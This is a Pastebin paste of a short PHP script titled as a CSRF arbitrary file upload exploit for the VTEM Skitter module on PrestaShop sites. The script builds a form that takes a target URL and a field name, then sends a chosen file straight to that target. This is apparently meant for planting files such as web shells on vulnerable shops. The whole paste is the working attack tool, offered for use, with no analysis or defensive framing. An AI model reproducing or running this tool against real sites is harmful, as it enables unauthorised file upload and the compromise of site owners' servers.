Advertisement
Jemb0t_IR3eng

CSRF Prestashop VTEM Skitter Arbitrary File Upload

Mar 27th, 2017
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1.  
  2. <?php
  3. error_reporting(0);
  4. echo '<title>Colly Sehat :v</title>
  5. <form method="get">
  6. Target : <input type="text" name="tar" placeholder="Target" value="http://">
  7. <br/>
  8. Postname : <input type="text" name="psn" placeholder="Postname">
  9. <br/>
  10. <input type="submit" value="oke">
  11. </form>';
  12. if(!empty($_GET[tar]) AND !empty($_GET[psn])){
  13. $target = $_GET[tar];
  14. $spc = array('<', '>', '&');
  15. $spv = array('&lt;', '&gt;', '&amp;');
  16. $postname = str_replace($spc, $spv, $_GET[psn]);
  17. echo '<hr/>
  18. <form method="post" target="_blank" enctype="multipart/form-data" action="'.$target.'">
  19. <input type="file" name="'.$postname.'"><input type="submit" value="jos">
  20. </form>';
  21. }else{
  22. echo '';
  23. }
  24. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement